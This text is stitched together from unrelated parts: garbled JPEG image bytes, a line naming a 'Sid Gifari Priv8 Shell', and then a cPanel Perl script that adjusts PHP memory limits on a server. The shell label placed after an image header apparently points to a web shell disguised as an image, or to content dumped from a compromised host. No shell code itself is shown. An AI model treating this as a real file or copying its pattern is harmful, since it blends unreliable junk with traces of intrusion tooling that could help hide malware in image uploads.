���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��Sid Gifari Priv8 Shell #!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/set_php_memory_limits Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::set_php_memory_limits; use strict; use warnings; use Getopt::Long (); use Cpanel::Sys::Hardware::Memory (); use Whostmgr::API::1::Lang::PHP (); use Cpanel::Imports; use Data::Dumper; our $gsw_message_dir = '/var/cpanel/gsw_messages'; our $message_caller_depth = 1; exit( run(@ARGV) ) if !caller(); sub run { my @args = @_; my ( $run, $gsw ); Getopt::Long::GetOptionsFromArray( \@args, "run" => \$run, "gsw" => \$gsw, ); if ( not( $run or $gsw ) ) { die qq{Must pass "--run" flag to execute script.\nThis script will adjust the memory_limit setting for all cPanel PHPs installed in /opt/cpanel/ to a reasonable setting based on the servers available memory.\n}; } # We want to raise the PHP memory_limit if possible in regards to the amount of installed memory they have on the system my $installed_memory = eval { Cpanel::Sys::Hardware::Memory::get_installed(); }; my ( $mid_mem, $high_mem ) = qw( 2000 4000 ); my $set_memory; if ( $installed_memory < $mid_mem ) { $set_memory = '32M'; } elsif ( ( $installed_memory >= $mid_mem ) && ( $installed_memory < $high_mem ) ) { $set_memory = '64M'; } elsif ( $installed_memory >= $high_mem ) { $set_memory = '128M'; } eval { my $installed_versions = Whostmgr::API::1::Lang::PHP::php_get_installed_versions(); my $bytes = $installed_memory * 1024 * 1024; # Cpanel::Sys::Hardware::Memory is MiB if ($gsw) { create_gsw_message( "php_memory_limit", "[% locale.maketext('We changed the webserver’s PHP “[output,strong,_1]” directive to “[_2]” to better support your server’s [format_bytes,_3] of memory.', 'memory_limit', '$set_memory', '$bytes') %]\n", "[% locale.maketext('You can change it at anytime via the [output,url,_1,MultiPHP INI Editor in WHM,target,_blank].', '../scripts2/multiphp_ini_editor') %]\n" ); } foreach my $php_version ( @{ $installed_versions->{versions} } ) { my $metadata = {}; Whostmgr::API::1::Lang::PHP::php_ini_set_directives( { version => $php_version, directive => "memory_limit:$set_memory" }, $metadata ); logger->info("The memory limit for $php_version has been set to $set_memory based on the servers installed memory ($installed_memory MiB)"); if ( !$metadata->{'result'} ) { logger->error("There was a problem setting the memory_limit in your php.ini files.\n"); } } }; return 0; } sub create_gsw_message { my ( $name, @lines ) = @_; # check for non words if ( $name =~ /\W/ ) { logger->warn("'$name' is not valid as a GSW message filename.\n"); return; } # create the directory for custom Getting Started Wizard message tt files if ( !-e $gsw_message_dir ) { mkdir $gsw_message_dir, 0755; } if ( open( my $fh, ">", "$gsw_message_dir/$name.tt" ) ) { foreach my $line (@lines) { # concat anything passed into the subroutine. print {$fh} $line; } close $fh; } else { logger->warn("Could not write to GSW message directory: $!"); return; } return 1; } 1;